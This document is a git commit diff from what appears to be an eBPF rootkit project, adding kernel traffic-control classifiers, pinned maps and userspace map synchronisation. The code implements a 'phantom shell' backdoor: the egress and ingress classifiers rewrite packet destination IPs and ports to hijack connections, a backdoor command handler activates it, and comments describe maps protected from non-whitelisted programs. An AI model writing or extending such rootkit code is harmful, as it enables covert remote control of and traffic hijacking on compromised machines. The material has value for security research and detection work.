Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs

This commit is contained in:
h3xduck
2022-05-10 19:09:52 -04:00
parent 4211d0b5d5
commit f2c3624e8b
11 changed files with 2988 additions and 2690 deletions

View File

@@ -23,6 +23,8 @@
"ring_buffer.h": "c",
"bpf_helpers.h": "c",
"tcp_helper.h": "c",
"headervmlinux.h": "c"
"headervmlinux.h": "c",
"bpf_endian.h": "c",
"bpf_core_read.h": "c"
}
}

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -100,8 +100,8 @@ $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -lssl -lcrypto -Wno-deprecated-declarations -o bin/$@
$(Q)rm $(USER_INCLUDES_OBJ)
tckit: $(abspath $(EBPF)/include/bpf)/tc.c
clang -O2 -emit-llvm -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
tckit: $(abspath $(EBPF)/include/bpf)/tc.c $(LIBBPF_OBJ)
clang -O2 -emit-llvm -g -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
llc -march=bpf -mcpu=probe -filetype=obj -o tc.o

Binary file not shown.

View File

@@ -1,7 +1,9 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#ifndef __H_TCKIT
#include "headervmlinux.h"
#endif
#include "../../../common/c&c.h"
//Tasks and comms
@@ -87,9 +89,9 @@ struct backdoor_priv_phantom_shell{
__uint(max_entries, 1);
__type(key, __u64); //Source IPv4 of packet
__type(value, struct backdoor_phantom_shell_data);
__uint(pinning, LIBBPF_PIN_BY_NAME);
} backdoor_phantom_shell SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h

View File

@@ -1,3 +1,4 @@
#include <linux/bpf.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
@@ -5,13 +6,21 @@
#include <linux/tcp.h>
#include <arpa/inet.h>
#include <linux/swab.h>
#include <linux/types.h>
//#include <bpf/libbpf.h>
//#include <bpf/libbpf.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_helpers.h>
//#include <bpf/bpf_core_read.h>
//#include <bpf/bpf_endian.h>
//#include <bpf/bpf.h>
#define __H_TCKIT
#include "defs.h"
#include "../../../common/constants.h"
SEC("classifier/egress")
int classifier(struct __sk_buff *skb){
int classifier_egress(struct __sk_buff *skb){
void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end;
bpf_printk("TC egress classifier called\n");
@@ -48,17 +57,133 @@ int classifier(struct __sk_buff *skb){
}
//We now proceed to scan for our backdoor packets
__u16 dest_port = ntohs(tcp->dest);
/*__u16 dest_port = ntohs(tcp->dest);
if(dest_port != SECRET_PACKET_DEST_PORT){
bpf_printk("PORT CHECK\n");
return TC_ACT_OK;
}*/
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
/*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
char* payload = (void *)(tcp + tcp->doff*4);
if ((void*)payload + payload_size > data_end){
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
return TC_ACT_OK;
}*/
//Mark skb buffer readable and writable
bpf_skb_pull_data(skb, 0);
bpf_printk("PAYLOAD size: %u\n", payload_size);
//We redirect whatever packet this is to the rootkit
//The TCP retransmissions will be in charge of resending it correctly later
__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){
//Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
return TC_ACT_OK;
}
if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
return TC_ACT_OK;
}
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
bpf_printk("Phantom shell active now, active is %i\n", ps_data->active);
__u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
return TC_ACT_OK;
}
bpf_printk("offset port: %u\n", offset_port);
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
return TC_ACT_OK;
}
SEC("classifier/ingress")
int classifier_ingress(struct __sk_buff *skb){
void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end;
bpf_printk("TC ingress classifier called\n");
//We are interested on parsing TCP/IP packets so let's assume we have one
//Ethernet header
struct ethhdr *eth = data;
if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n");
return TC_ACT_OK;
}
if(eth->h_proto != htons(ETH_P_IP)){
//Not an IP packet
bpf_printk("IP\n");
return TC_ACT_OK;
}
//IP header
struct iphdr *ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
return TC_ACT_OK;
}
if(ip->protocol != IPPROTO_TCP){
bpf_printk("TCP\n");
return TC_ACT_OK;
}
//TCP header
struct tcphdr *tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
bpf_printk("TCP CHECK\n");
return TC_ACT_OK;
}
//We now proceed to scan for our backdoor packets
__u16 dest_port = ntohs(tcp->dest);
if(dest_port != SECRET_PACKET_DEST_PORT){
bpf_printk("PORT CHECK: %u\n", dest_port);
//return TC_ACT_OK;
}
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
//Mark skb buffer readable and writable
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
char* payload = (void *)(tcp + tcp->doff*4);
@@ -66,17 +191,68 @@ int classifier(struct __sk_buff *skb){
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
return TC_ACT_OK;
}
//Mark skb buffer readable and writable
bpf_skb_pull_data(skb, 0);
bpf_printk("PAYLOAD size: %u\n", payload_size);
//We redirect whatever packet this is to the rootkit
//The TCP retransmissions will be in charge of resending it correctly later
__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){
//Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
return TC_ACT_OK;
}
if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
return TC_ACT_OK;
}
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
bpf_printk("Phantom shell active now: active is %i\n", ps_data->active);
__u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
return TC_ACT_OK;
}
bpf_printk("offset port: %u\n", offset_port);
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
return TC_ACT_OK;
}
/**
* COMMANDS
* sudo tc qdisc add dev lo clsact
@@ -84,7 +260,7 @@ int classifier(struct __sk_buff *skb){
* sudo tc filter show dev lo
* sudo tc filter show dev lo egress
*
* tc qdisc del dev lo clsact
* sudo tc qdisc del dev lo clsact
*/

View File

@@ -3,7 +3,9 @@
/*#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>*/
#ifndef __H_TCKIT
#include "headervmlinux.h"
#endif
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

View File

@@ -2,13 +2,12 @@
#define __BPF_BACKDOOR
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../data/ring_buffer.h"
#include "../../common/c&c.h"
#include "../../../common/c&c.h"
#include "../bpf/defs.h"
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port){
@@ -27,10 +26,13 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received);
break;
case CC_PROT_COMMAND_PHANTOM_SHELL:
bpf_printk("Received request to start normal shell\n");
bpf_printk("Received request to start phantom shell\n");
//Check for phantom shell state
__u64 key = 0;
__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
if(ps_data != (void*)0 && ps_data->active ==1){
bpf_printk("Overwriting previous phantom shell config\n");
}
struct backdoor_phantom_shell_data ps_new_data = {0};
ps_new_data.active = 1;
ps_new_data.d_ip = ip;

BIN
src/tc.o

Binary file not shown.

View File

@@ -7,6 +7,7 @@
#include <linux/if_link.h>
#include <net/if.h>
#include <unistd.h>
#include <locale.h>
#include <bpf/bpf.h>
@@ -139,10 +140,59 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
return 0;
}
int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info *exp){
__u32 info_len = sizeof(*info);
int err;
if (map_fd < 0)
return -1;
err = bpf_obj_get_info_by_fd(map_fd, info, &info_len);
if (err) {
fprintf(stderr, "ERR: %s() can't get info - %s\n",
__func__, strerror(errno));
return -1;
}
if (exp->key_size && exp->key_size != info->key_size) {
fprintf(stderr, "ERR: %s() "
"Map key size(%d) mismatch expected size(%d)\n",
__func__, info->key_size, exp->key_size);
return -1;
}
if (exp->value_size && exp->value_size != info->value_size) {
fprintf(stderr, "ERR: %s() "
"Map value size(%d) mismatch expected size(%d)\n",
__func__, info->value_size, exp->value_size);
return -1;
}
if (exp->max_entries && exp->max_entries != info->max_entries) {
fprintf(stderr, "ERR: %s() "
"Map max_entries(%d) mismatch expected size(%d)\n",
__func__, info->max_entries, exp->max_entries);
return -1;
}
if (exp->type && exp->type != info->type) {
fprintf(stderr, "ERR: %s() "
"Map type(%d) mismatch expected type(%d)\n",
__func__, info->type, exp->type);
return -1;
}
return 0;
}
struct backdoor_phantom_shell_data{
int active;
__u32 d_ip;
__u16 d_port;
};
int main(int argc, char**argv){
struct ring_buffer *rb = NULL;
struct kit_bpf *skel;
struct bpf_map_info map_expect = { 0 };
struct bpf_map_info info = { 0 };
__u32 err;
//Ready to be used
@@ -208,6 +258,8 @@ int main(int argc, char**argv){
return 1;
}
//Load & verify BPF program
err = kit_bpf__load(skel);
if (err) {
@@ -215,6 +267,44 @@ int main(int argc, char**argv){
goto cleanup;
}
int tc_efd = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
printf("TC MAP ID: %i\n", tc_efd);
map_expect.key_size = sizeof(__u64);
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
map_expect.max_entries = 1;
err = check_map_fd_info(tc_efd, &info, &map_expect);
if (err) {
fprintf(stderr, "ERR: map via FD not compatible\n");
return err;
}
printf("\nCollecting stats from BPF map\n");
printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
" key_size:%d value_size:%d max_entries:%d\n",
info.type, info.id, info.name,
info.key_size, info.value_size, info.max_entries
);
int key = 1;
struct backdoor_phantom_shell_data data;
err = bpf_map_lookup_elem(tc_efd, &key, &data);
if(err<0) {
printf("Failed to lookup element\n");
}
printf("%i, %i, %i\n", data.active, data.d_ip, data.d_port);
/*bpf_obj_get(NULL);
char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";
err = bpf_object__unpin_maps(skel->obj, DIRECTORY_PIN);
if (err) {
fprintf(stderr, "ERR: UNpinning maps in %s\n",DIRECTORY_PIN);
//return -1;
}
err = bpf_object__pin_maps(skel->obj, DIRECTORY_PIN);
if (err) {
fprintf(stderr, "ERR: pinning maps in %s\n",DIRECTORY_PIN);
return -1;
}
bpf_map__pin(skel->maps.backdoor_phantom_shell, DIRECTORY_PIN);*/
//Attach XDP and sched modules using module manager
//and setup the parameters for the installation
//XDP